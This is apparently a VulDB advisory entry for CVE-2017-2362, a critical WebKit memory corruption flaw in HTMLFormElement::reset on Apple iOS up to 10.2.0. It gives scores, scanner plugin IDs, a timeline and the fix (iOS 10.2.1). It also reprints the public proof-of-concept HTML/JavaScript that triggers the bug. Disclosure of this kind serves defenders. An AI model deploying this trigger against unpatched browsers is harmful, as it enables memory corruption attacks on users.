Apple iOS up to 10.2.0 WebKit HTMLFormElement::reset memory corruption

CVSS Meta Temp Score
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CTI Interest Score
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7.2$0-$5k0.00

Summaryinfo

A vulnerability was found in Apple iOS up to 10.2.0 and classified as critical. Affected by this issue is the function HTMLFormElement::reset of the component WebKit. Executing a manipulation can lead to memory corruption. This vulnerability is tracked as CVE-2017-2362. The attack can be launched remotely. Moreover, an exploit is present. It is suggested to upgrade the affected component.

Detailsinfo

A vulnerability classified as critical was found in Apple iOS up to 10.2.0 (Smartphone Operating System). This vulnerability affects the function HTMLFormElement::reset of the component WebKit. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.

The bug was discovered 01/19/2017. The weakness was disclosed 01/23/2017 by Ivan Fratric (lokihardt) with Google Project Zero as HT207482 as confirmed advisory (Website). The advisory is shared for download at support.apple.com. This vulnerability was named CVE-2017-2362 since 12/01/2016. The attack can be initiated remotely. No form of authentication is required for a successful exploitation. Successful exploitation requires user interaction by the victim. Technical details and also a public exploit are known. The advisory points out:

Multiple memory corruption issues were addressed through improved memory handling.

After 2 weeks, there has been an exploit disclosed. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 4 days. During that time the estimated underground price was around $100k and more. The vulnerability scanner Nessus provides a plugin with the ID 96798 (macOS : Apple Safari < 10.0.3 Multiple Vulnerabilities), which helps to determine the existence of the flaw in a target environment. It is assigned to the family MacOS X Local Security Checks and running in the context l. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370283 (Apple Safari 10.0.3 Not Installed (APPLE-SA-2017-01-23-5)). The code used by the exploit is:

<script>
 
function go() {
 
  output.value = "aaa";
  output.appendChild(inserted_div);
 
  document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
    for(var i=0; i<20; i++) {
      form.appendChild(document.createElement("input"));
    }
  }, false);
 
  form.reset();
 
}
 
</script>
<body onload=go()>
<div id="inserted_div">foo</div>
<form id="form" onchange="eventhandler()">
<input type="text" value="foo">
<output id="output" oninput="eventhandler()"></output>
<input type="text" value="foo">

Upgrading to version 10.2.1 eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Exploit-DB (41213), Tenable (96798) and SecurityFocus (BID 95727†). The entries VDB-95903, VDB-95883, VDB-95902 and VDB-95912 are pretty similar. Once again VulDB remains the best source for vulnerability data.

Productinfo

Type

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Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.2

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Nessus ID: 96798
Nessus Name: macOS : Apple Safari < 10.0.3 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 800100
OpenVAS Name: Apple Safari Multiple Vulnerabilities-01 February17
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: iOS 10.2.1

Timelineinfo

12/01/2016 🔍
01/19/2017 +49 days 🔍
01/23/2017 +4 days 🔍
01/23/2017 +0 days 🔍
01/23/2017 +0 days 🔍
01/25/2017 +2 days 🔍
01/26/2017 +1 days 🔍
02/01/2017 +6 days 🔍
02/01/2017 +0 days 🔍
02/20/2017 +19 days 🔍
08/03/2025 +3085 days 🔍

Sourcesinfo

Vendor: apple.com

Advisory: HT207482
Researcher: Ivan Fratric (lokihardt)
Organization: Google Project Zero
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2017-2362 (🔍)
GCVE (CVE): GCVE-0-2017-2362
GCVE (VulDB): GCVE-100-95932
SecurityFocus: 95727 - WebKit Multiple Security Vulnerabilities
OSVDB: - CVE-2017-2362 - Apple - Multiple Products - Memory Corruption Issue
SecurityTracker: 1037668

scip Labs: https://www.scip.ch/en/?labs.20150917
See also: 🔍

Entryinfo

Created: 01/25/2017 11:35
Updated: 08/03/2025 01:23
Changes: 01/25/2017 11:35 (81), 08/10/2020 20:26 (16), 11/03/2022 15:04 (4), 08/03/2025 01:23 (14)
Complete: 🔍
Cache ID: 216:68A:103

Once again VulDB remains the best source for vulnerability data.

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